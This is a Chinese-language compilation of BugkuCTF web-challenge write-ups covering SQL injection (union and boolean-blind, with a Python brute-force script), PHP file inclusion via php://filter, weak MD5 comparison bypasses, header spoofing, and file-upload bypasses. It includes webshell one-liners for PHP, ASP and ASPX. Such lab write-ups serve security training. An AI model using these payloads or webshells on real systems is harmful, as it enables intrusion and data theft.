BugkuCTF
web2
打开链接为一页的滑稽动图,只有20,应该比较简单。直接打开开发者工具
但是最后提交的时候不知道正确的提交格式,emmm,让我怀疑起来。。。
计算器
打开后要求输入表达式计算结果,尝试输入,发现只能输入1个值
打开开发者工具,修改相应位置的输入最大值限制
web基础$_GET
发现只是简单的代码,只要提交的what=flag就行
在地址栏输入横线的内容,显示flag
web基础$_POST
因为post提交的结果不会显示在URL中,此时就需要自己构造,当然自己写脚本提交也可以
这里使用的是火狐浏览器的插件HackBar
矛盾
当提交的num不为数字且为1则显示flag 一般情况下数为1且不为数字自相矛盾
但有很多方法可以让num为1却不是数字 比如num= 1e0.123
web3
打开链接后就是一个弹窗,点击确认
一直点击确认的话会一直重复者两个弹框,勾选“阻止此页面创建更多对话框”,则把js的内容显示了出来
开发者工具查看,发现js最后一行有注释,解码
域名解析
题目意思是把flag.baidu.com 解析到123.206.87.240,就是将域名和IP地址联系起来
windows下修改的文件为:
c:\windows\system32\drivers\etc\hosts,出现没有权限的问题请参考windows下没有权限解决方法
然后访问flag.baidu.com,即得flag
你必须让它停下
打开浏览器页面后,页面一直刷新
所以我们可以禁用JavaScript
在谷歌浏览器中打开设置-高级-隐私-内容设置-js-禁用
刷新题目页面一直到有CTF图片的页面,查看源代码
看别人的,也可以采用burp suite抓包,使其停止自动刷新,其余步骤一样
不懂--本地包含
变量1
打开网页链接,是一段php代码
flag In the variable ! <?php error_reporting(0); // 关闭php错误显示 include "flag1.php"; // 引入flag1.php文件代码 highlight_file(__file__); if(isset($_GET['args'])){ // 通过get方式传递 args变量才能执行if里面的代码 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 这个正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成 die("args error!"); } eval("var_dump($$args);");// 告诉我们这题是代码审计的题目 } ?>
提示说flag在变量里面,经分析只要运行 eval("var_dump($$args);");,falg很有可能就会出来
$$args====>我们可以猜想$args很有可能是一个数组,应该想到的就是超全局变量$GLOBALS
他是用存储全局变量的,全局变量的值在这个超级全局变量里面是一个键值,先当于hashmap的键值对
全局变量可以通过变量名在$GLOBALS找到相对应的值。
eval()这个函数的作用是字符串里面的php代码按正常的php代码被执行
通过构造一个GET参数,直接传GET一个全局变量即可
http://123.206.87.240:8004/index1.php?args=GLOBALS
!!web5
打开链接
随便输入一些东西提交,看看返回的具体信息
返回:在好好看看。
好吧,那就再看看
本页面上实在没什么东西,查看源代码,发现了jother编码放到console中回车一下就可得到flag
也可以通过编写JavaScript通过alert(xxx)、console(xxx)、document.write(xxx)即可解密(xxx为编码内容)。
jother编码及对“编码”思想的理解
匿名函数
头等舱
查看源代码,什么都没有,就想到神器Burp Suite
抓包后在响应报文中看到了flag
网站被黑
御剑扫描,发现一个shell.php,进去页面是一个webshell,用弱密码尝试无效
用burp suit进行爆破,这里选择Simple list,字典选择burp自带的Passwords
管理员系统
常规,F12开发者工具查看一下页面中有没有什么重要信息
发现base64编码,解码后为test123
应该为密码了,至于账号无所谓,什么都行(为了成功获取flag,密码一定要为 test123)
输入密码,但是页面显示 IP禁止访问,请联系本地管理员登陆,IP已被记录
“本地管理员”......“本地”......
得到新思路:伪装成本地访问:
抓包
改包:Headers中增添一对键值对: X-Forwarded-For : 127.0.0.1
web4
题目说要查看源代码,那就查看源代码,发现一段js代码看起来比较特殊
对它进行URL解码
解码后为一段js代码,其实就是拼接,得到 67d709b2b54aa2aa648cf6e87a7114f1 提交
!!falg在index里
php文件包含漏洞总结
php://filter的妙用
为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter ,可以将php中的代码呈现出来,具体用法如下: http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php 即可得到base64编码后的文件内容 再base64解密,获得flag输入密码查看flag
打开链接,URL提示爆破,那么用burp suite爆破
爆破
或者用python
点击一百万次
也就是说让我们点击图片一百万此后才可以显示flag,当然这个肯定办不到
根据题目提示的JavaScript,查看源代码,找到对应的js
var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 100000){ var form = $(''); $('body').append(form); form.submit(); } }); });
发现以post方式提交请求,构造URL即可
听说备份是个好习惯--弱类型比较
一打开是一串字符,不知道是什么编码,无从下手
尽然提到了文件备份,应该是备份文件源码泄露一类的。使用源码泄露工具,可以自动访问常见的CTF线索文件,如果返回正常说明文件存在。
工具链接:https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
也可以根据题目提示我们去寻找 .bak 文件(为备份文件的拓展名),猜测构造 http://120.24.86.145:8002/web16/index.php.bak
或者用御剑扫描,查看包含的文件
查看备份文件 .bak 下载后打开
1 <?php 2 /** 3 * Created by PhpStorm. 4 * User: Norse 5 * Date: 2017/8/6 6 * Time: 20:22 7 */ 8 9 include_once "flag.php"; 10 ini_set("display_errors", 0); 11 $str = strstr($_SERVER['REQUEST_URI'], '?'); 12 $str = substr($str,1); 13 $str = str_replace('key','',$str); 14 parse_str($str); 15 echo md5($key1); 16 17 echo md5($key2); 18 if(md5($key1) == md5($key2) && $key1 !== $key2){ 19 echo $flag."取得flag"; 20 } 21 ?>
分析一下,11行strstr从URL中获取从'?'往后(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替换为空,可以使用类似这样的语句:kkeyey 处理来绕过,14行parse_str把字符串解析到变量中。最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过,具体原理可以看这里:
https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
方法一:
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
方法二:
利用==比较漏洞()
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
前两个0e开头的分别是key1、key2的md5值
成绩单
题目给了一个表格,应该就是SQL注入了
1.首先我们要判断sql语句的闭合方式,一般有两种
当在id的值后面加上'时,界面无回显,可以判断后端的sql语句应该是
select xxxx from xxxx where id = 'input_id' [xxxx]
或者是这样的
select xxxx from xxxx where id = ('input_id') [xxxx]
在id = 1'
的值后面加上注释符#
之后发现界面正常显示,所以可以断定sql语句的形式是id = 'input_id'
。
常用的闭合方式还用id = "input_id"
,id = ("input_id")
,id = ('input_id')
等等,具体是哪一种只能看程序猴
的写法。
2.判断返回列数
可以使用order by子句判断返回的列数。当构造post参数中的order by为5时,界面无回显、值为4时有回显。所以后端返回的列数应该是4。
id=1' order by 5 #
3.判断后端返回的前端显示的格式
id=-1' union select 1,2,3,4 #
知道返回的列名之后,就可以执行后继的操作和查询各种数据了。
比如查询当前的数据库名
和当前的用户名
以及当前的sql版本号
id=-1' union select 1,database(),user(),version() #
select后面几个数字的意思,1,2,3,4...,这里的几个数字纯粹是凑数的,凑够和union关键字前面的那个表的字段数一样,不然没法拼接成一个表。
4.注入出当前数据库所有的表名
information_schema是一个拥有数据库中所有信息的库,包含了所有的库,表,列。
id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
5.注入出某一个表中的全部列名
id=-2' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')#
到目前为止已经能查询数据库名称、登陆数据库的用户名称、当前数据库的所有表名、某一个表中的全部字段名称等等数据。例如在数据表fl4g
中的全部的列名只有一个skctf_flag
。那么怎样查询字段内容呢?
6.注入出字段内容
利用前面注入出的信息,包括表名,列名,就可以查询字段内容了。
id=-2' union select 1,2,3,(select skctf_flag from fl4g) #
秋名山老司机
本题要求计算响应内容中的表达式并用 POST 请求返回结果,实质还是快速反弹包含正确信息的 POST 请求,详情可参考详解 CTF Web 中的快速反弹 POST 请求
先放题解的 Python 脚本,后再解析:
import requests import re url = 'http://120.24.86.145:8002/qiumingshan/' s = requests.Session() source = s.get(url) expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() result = eval(expression) post = {'value': result} print(s.post(url, data = post).text)
1、有关 requests 的部分此处不细讲,唯一要注意必须利用会话对象 Session(),否则提交结果的时候,页面又重新生成一个新的表达式,结果自然错误。
2、第 6 行是利用正则表达式截取响应内容中的算术表达式。首先引入 re 模块,其次用 search() 匹配算术表达式,匹配成功后用 group() 返回算术表达式的字符串。
3、第 7 行在获得算术表达式的字符串后,直接利用 Python 的內建方法 eval() 来计算出结果,简单、暴力、快捷。
执行完上述脚本,就有一定的概率可以获得 flag 了:
pycharm安装requests:https://blog.csdn.net/weixin_37861326/article/details/80347960
速度要快
打开页面什么也没有,那就抓包试一下吧
发现base64编码,解码
发现要再解码一次,但是结果不对
因为每次发送一次请求,它的base64不一样,所以它的解码可能要在规定时间内计算出来
借用python
#coding:utf-8 import requests import base64 url='http://123.206.87.240:8002/web6/' s=requests.Session() header=s.get(url).headers #print(header) flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #对其进行base64两次解密 data={'margin':flag} print(s.post(url=url,data=data).content.decode())
cookies欺骗
1.打开页面是一堆不知道是什么的一串字符,查看源码也没有发现什么
2.观察URL,发现两个参数
(1)line=
(2)filename=a2V5cy50eHQ=
第二个参数内容为base64编码,解码后为keys.txt
3.猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode() 那就传递index.php喽,对应的base64密文是aW5kZXgucGhw http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw4.访问http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
发现页面...空了......
line参数是否决定了返回哪一行呢?
随便输入一个数字测试一下,发现返回对应此行的php代码
写一个脚本获取全部源码
# -*- coding:utf-8 -*- import requests url = 'http://123.206.87.240:8002/web11/index.php' s = requests.Session() for i in range(1,30): #读取前30行 payloads = {'line':str(i),'filename':'aW5kZXgucGhw'} #构造 a = s.get(url,params=payloads).content c = str(a,encoding="utf-8") print(c)
5.得到源码
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php
6.
第一种:先得到keys.php的base64编码a2V5cy5waHA=
通过火狐浏览器的插件伪造cookie
不过此时页面空白 ,emmm,右键查看源代码 第二种:burpsuite改包 在此之前先用burpsuite得到keys.php的base64密文:a2V5cy5waHA= 再发包、截包、改包三连: (1)filename的值赋为a2V5cy5waHA= (2)添加Cookie:margin=margin 得到flag:never give up
1.先右键查看源代码,发现如下内容
2.除了这个以外,获取不到什么其它的内容,那么就访问它:http://123.206.87.240:8006/test/1p.html
发现自动跳转到了bugku的页面,应该是重定向了
3.访问url没什么用,就查看页面的源代码:view-source:http://123.206.87.240:8006/test/1p.html
4.第七行内容为url编码,解码后再base64,再url解码
1 ";if(!$_GET['id']) 2 { 3 header('Location: hello.php?id=1'); 4 exit(); 5 } 6 $id=$_GET['id']; 7 $a=$_GET['a']; 8 $b=$_GET['b']; 9 if(stripos($a,'.')) 10 { 11 echo 'no no no no no no no'; 12 return ; 13 } 14 $data = @file_get_contents($a,'r'); 15 if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 16 { 17 require("f4l2a3g.txt"); 18 } 19 else 20 { 21 print "never never never give up !!!"; 22 } 23 24 25 ?>
5.函数简介
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串,就是取第一个字符
eregi("111".substr($b,0,1),"1114") 就是判断"1114"这个字符串里面是否含有符合"111".substr($b,0,1)这个规则的
6.其中各条核心语句的作用如下:
- 第 1 行:限制 URL 查询字符串中必须有非空非零变量
id
- 第 9 行:限制变量
$a
中不能含有字符.
- 第 15 行:要满足以下 5 条表达式才会爆 flag:
- 变量
$data
弱等于字符串bugku is a nice plateform!
- 变量
$id
弱等于整型数 0 - 变量
$b
的长度大于 5 - 字符串
1114
要与字符串111
连接变量$b
的第一个字符构成的正则表达式匹配 - 变量
$b
的第一个字符弱不等于整型数 4
- 变量
7.源码中 $id
、$a
、$b
三个变量需要满足的条件进行讲解
PHP 弱类型比较:变量 $id
若想满足非空非零且弱等于整型数 0,则 $id
的值只能为非空非零字符串,这里假设 $id = "asd"
。
PHP 伪协议:源码中变量 $data
是由 file_get_contents()
函数读取变量 $a
的值而得,所以 $a
的值必须为数据流。
在服务器中自定义一个内容为 bugku is a nice plateform!
文件,再把此文件路径赋值给 $a
,显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input
可以访问原始请求数据中的只读流。这里令 $a = "php://input"
,并在请求主体中提交字符串 bugku is a nice plateform!
。
eregi() 截断漏洞:CTF 题做多了就知道 ereg()
函数或 eregi()
函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已确定为 "1114"
,正则表达式(第一个参数)由 "111"
连接 $b
的第一个字符组成,若令 substr($b,0,1) = "\x00"
,即满足 "1114"
与 "111"
匹配。因此,这里假设 $b = "\x0012345"
,才能满足以上三个条件。
打扰了,还是直接 http://123.206.87.240:8006/test/f4l2a3g.txt
welcome to bugkuctf
https://blog.csdn.net/csu_vc/article/details/78375203
过狗一句话
第一行:explode() 函数把字符串打散为数组。
第二行:获取数组里的每个字符,结果为assert,其函数的特性为总是使表达式值为真
第三行:用assert函数使get获得的参数s总为真,即用assert执行任意代码
payload:http://120.24.86.145:8010/?s=print_r(scandir('./')) 扫描目录
发现flag
字符?正则?
https://blog.csdn.net/qq_26090065/article/details/81605837keykeyaaaakey:/a/////keya:
前女友(SKCTF)
页面都是文字,查看源码什么都没有。一般都是文字的题目就可能会有链接的存在,而且题目说什么链接,发现链接竟然是可以点进去的!!!
发现源码:
也就是说我们需要构造三个参数,v1,v2,v3,其中v1和v2需要值不同但md5的值相同,看起来是找md5碰撞的问题,但我们也可以利用md5函数的特性,md5(数组)会返回null,这个也是返回值,题目要求的是md5函数的返回值相等,所以就可以用两个值不同但不可md5的数据类型传入即可。
此处我们使用v1[]=1&&v2[]=2。第二个是strcmp函数,需要v3和flag的值相同才返回flag的值,貌似是一个鸡生蛋问题,但是我们依旧使用函数特性,strcmp函数如果出错,那么它的返回值也会是0,和字符串相等时返回值一致。那么如何出错呢,猜测不可比较时出错,那么传入一个数组试试,所以最后构造参数并用get方法传入
http://118.89.219.210:49162/?v1[]=1&&v2[]=2&&v3[]=3,得到flag。
login1(SKCTF)
用常规方式注册登陆,提示要成为管理员才可以;如果用爆破的话,大写字母加小写字母加数字太麻烦了
根据题目提示SQL约束攻击
1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。 SELECT * FROM users WHERE username='vampire '; 但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。 2.在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
注册成为admin(这里我用了25个空格),密码符合要求即可
登陆即可
你从哪里来
点开页面,显示“are you from google?”
然而用谷歌访问行不通,构造referer请求头即可得到flag,关于referer:参考资料 https://www.sojson.com/blog/58.html
HTTP_REFERER 编辑
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,
一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。
比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
Referer的正确英语拼法是referrer。
由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
md5 collision(NUPT_CTF)
题目说是md5碰撞,进入页面要求“please input a”
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0(科学计数法),所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
0e开头md5小结
构造payload:http://123.206.87.240:9009/md5.php?a=s878926199a
程序员本地网站
这道题要求从本地访问,打开burpsuite抓包,加上:X-Forwarded-For: 127.0.0.1 就好了
X-Forwarded-For: 简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
各种绕过
根据代码要获得flag,uname与passwd的值要不等但哈希值相等,同时id=margin
构造payload:http://120.24.86.145:8002/web7/?uname[]=1&id=margin 并发送 passwd[]=2 的 postdata 请求即可
web8
方法一
extract(array,extract_rules,prefix)
extract() 函数将$_GET数组的值转为变量,默认,如果有冲突,则覆盖已有的变量
File_get_contents()把整个文件读入一个字符串中,可利用php://input绕过
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
所以想得到flag,要达到下面三个条件:
- 就要让ac的值不为空
- f的值从文件fn中获取
- ac的值要恒等于f的值
构造payload如下:
- ?ac=123&fn=php://input
- [
方法二
根据题目提示txt???思考会不会有flag.txt文件,访问flag.txt
$ac是指flag.txt中的内容flags,$fn指的是flag.txt这个文件
payload: ?ac=flags&fn=flag.txt
细心
进入页面报404,尝试点链接,没有什么内容,另人摸不着头脑
御剑扫描,发现robots.txt,它是网站爬虫规则的描述
进入 http://123.206.87.240:8002/web13/robots.txt ,发现有
查看这个php文件
发现有参数 x ,那么肯定和参数有关,可能和参数相关的就是题目一开始给的提示,想办法变成admin
构造:http://123.206.87.240:8002/web13/resusl.php?x=admin
!!求getshell
这道题目是一个关于文件上传的题目, 而他的绕过机制是黑名单检测和类型检测 黑名单检测:使用php5绕过,其他的(php3,phtml,php4.。。)都绕不过 类型检测:抓包,改参数filename:1.php5 ,有两个Content-Type,先改第二个的Content-Type:image/jpeg ,再改第一个的Content-Type:Multipart/form-data;所以可以上传一个php文件 ,抓包后(或者直接该后缀名1.jpg,就不用**那步)
将头部的Content-Type改成Multipart/form-data大小写绕过
**请求内容里的Content-Type改成image/jpeg
文件名改成php5
就绕过了
一句话木马
- php的一句话是: <?php @eval($_POST['pass']);?>
- asp的一句话是: <%eval request ("pass")%>
- aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
保存为1.jpg,上传,抓包,将第一个的Content-Type:multipart/form-data随便一个字母改成大写,将文件名1.jpg改为1.php5
Multipart/form-data:
https://www.jianshu.com/p/29e38bcc8a1d
解题:
https://blog.csdn.net/qq_42133828/article/details/85091547
https://blog.csdn.net/qq_42967398/article/details/84929817
!!INSERT INTO注入
解题:https://blog.csdn.net/xuchen16/article/details/82904488
!!这是一个神奇的登陆框
https://blog.csdn.net/zyl_wjl_1413/article/details/84260951
https://blog.csdn.net/qq_38412357/article/details/79559039
!!多次
https://blog.csdn.net/dyw_666666/article/details/83450701
https://blog.csdn.net/qq_42967398/article/details/84931839
PHP_encrypt_1(ISCCCTF)
打开题目下载的文件,题目的意思是根据给出的字符串逆推出flag
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } ?>
output:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
大佬的解题代码
<?php function decrypt($str) { $mkey = "729623334f0aa2784a1599fd374c120d"; $klen = strlen($mkey); $tmp = $str; $tmp = base64_decode($tmp); // 对 base64 后的字符串 decode $md_len = strlen($tmp); //获取字符串长度 for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key; if ($x == $klen) // 数据长度是否超过 key 长度检测 $x = 0; $char .= $mkey[$x]; // 从 key 中取二次加密用 key $x+=1; } $md_data = array(); for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据 array_push($md_data, ord($tmp[$i])); } $md_data_source = array(); $data1 = ""; $data2 = ""; foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原 $i = $key; if($i >= strlen($mkey)) {$i = $i - strlen($mkey);} $dd = $value; $od = ord($mkey[$i]); array_push($md_data_source,$dd); $data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数 $data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数 } print "data1 => ".$data1."
\n"; print "data2 => ".$data2."
\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>
文件包含2
1.进入页面没有发现什么,右键查看源代码,发现upload文件,访问
2.新建文档写入 <script language=php>system("ls")</script> 后另存为 jpg 格式
然后上传
3.访问这个文件的存储位置
4.然后再访问红色画框的文件位置
flag.php
进入页面点击login什么反应也没有,根据提示hint
构造 http://123.206.87.240:8002/flagphp/?hint
出现源代码
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?>Login
<?php } $KEY='ISecer:www.isecer.com'; ?>
根据代码,只要cookie反序列化的结果和key相等即可
会下意识的以为key的值为下面的ISecer:www.isecer.com,但是在之前的代码中key还没有被定义,为空
反序列化的结果为:ISecer=s:0:"";
<?php $KEY=''; echo serialize($KEY); ?> >>>s:0:""; <?php $KEY=NULL; echo serialize($KEY); ?> >>>N;
sql注入2
直接在网址后面加上flag,就会提示让你下载文件
下载后用txt文档打开即可
!!孙xx的博客
------这题我觉得可能服务器挂了,就贴了别人的
需要用到渗透测试第一步信息收集
点开blog,浏览全部的博客,然后看到了这


这两个东西很容易就能联想到时用户名密码,可是这里应该是哪里的用户名密码,
尝试访问phpmyadmin,没想到成功访问了,然后把上面这两个东西分别作为用户名密码输进去,然后就可以成功登入了,然后

直接点击它,然后查看里面的东西直接就得到了flag
Trim的日记本
hints:不要一次就放弃
不知道怎么做,看别人说直接扫目录,show.php就能看到(不过一般情况下线上比赛是不允许扫目录的)
!!login2
页面什么也没有,目录扫描了也没有东西,看来是要注入登录,一般注入都会用burp->repeater测试,比较方便,此时看到服务器的返回报文有一段base64解密的字符串
发现一段base64编码,解码后
$sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }
是登录页面的一小段源码,通过分析源码中数据库的处理流程发现可以通过输入不存在用户,用union select 构造出指定密码的md5值,从而登录成功,payload大概就是这样username=adminawevcq3vq3rv' union select 1,'25d55ad283aa400af464c76d713c07ad'%23&password=12345678
或username=1' union select 1,md5(1)%23&password=1
然后进入了进程监控系统
我也不是很会,接下来请看
!!login3
参考1
参考2
先判断注入点在哪里
尝试随便输入几个用户名,发现返回 username does not exist! 此时没有输入密码
尝试用户名为admin,发现返回 password error! 说明用户名正确
这就验证了我们的猜想,那现在注入点应该就是用户名了。
然后试试在admin后加上单引号,但是返回是用户名不存在
这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息,
也就不能使用报错注入了,我们发现有两种返回信息:
username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。
毕竟我也是第一次接触到这种布尔型盲注,也当是小白扫盲吧,怎么利用啰嗦几句。
我们猜测后台的验证应该是先查找我们输入的用户名是否存在,大概是:
select password,username from users where username=”我们输入的用户名”
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。
但是这道题过滤了and!!!
尝试加上and返回:
经过尝试发现还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
那怎么办呢,这就用上了今天介绍的异或运算^,先说一下基本规则:
1^1=0 1^0=1 0^0=0
就是说只有两个不同的布尔值运算结果为1,其他为零
不过在这里用的时候先不要按这个规则去推,因为在我们用到的三个值的布尔运算的sql语句中完全相反
首先说下这里我们要补上两个布尔值,这个最后再说为什么。
先猜数据库名,基本语句
admin’^(ascii(mid(database()from(1)))<>97)^0#
解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
返回值是username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error!
这就构成了布尔报错注入。
有人可能疑问大部分的判断都是无用的,就是说可能从97尝试到120都是username does not exist!,那如何快速找到语句成立时的返回结果(password error!)。这里就是最后^0的妙用了,
因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。
补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多此一举,其实好处多多。
就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!
数据库名最后可以得到是:blindsql
下一步猜表名,表名好像没法暴力猜,因为关键词information被禁了!!!!那数据库名就没用了,哈哈哈,不过后面猜字段的值是一样的原理,不亏不亏。
没法用系统表,就不能像上面一样爆破了,真的是猜了,是admin表,语句如下
admin’^(select(1)from(admin))^1# 返回password error!说明猜对了
猜字段 admin’^(select(count(password))from(admin))^1# 返回password error!说明猜对了。
为什么要用count()呢,因为如果有多行数据也可能会报错,会干扰判断。
然后猜password的值,暴力猜解,与猜数据库类似:
admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#
得到密码的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密后登陆,得到flag
# coding=utf-8 import requests import re, string, hashlib url = 'http://123.206.31.85:49167/' sss = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" headers = { 'Host': '123.206.31.85:49167', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Referer': 'http://123.206.31.85:49167/', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '87', 'Cookie': 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } answer = '' for i in range(1, 50): flag = 0 for j in sss: postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j)) data = {'username': postuser, 'password': 'admin'} html = requests.post(url, headers=headers, data=data).text html = re.findall(r"(.*?)
", html, re.S)[0] if 'username does not exist!' in html: answer += j flag = 1 print(answer) break if flag == 0: break print('password is ', answer)
运行,即可得被加密过的password,使用md5解密得其明文为:skctf123456
再次登陆:username:admin
password : skctf123456
即可得到key。。。。。。。。
文件上传2
转载
题目说要上传png图片,那么我们尝试上传一下,结果页面说图片无效
那应该不是靠一句话菜刀,因为根本加载不出来,我觉得不可能没有php代码,于是在op后面构造
op=index.php 提示我们不存在这样的页面 但事实是存在的
op=index 没有出现提示 但页面是空的
op=php://filter/read=convert.base64-encode/resource=index
发现代码
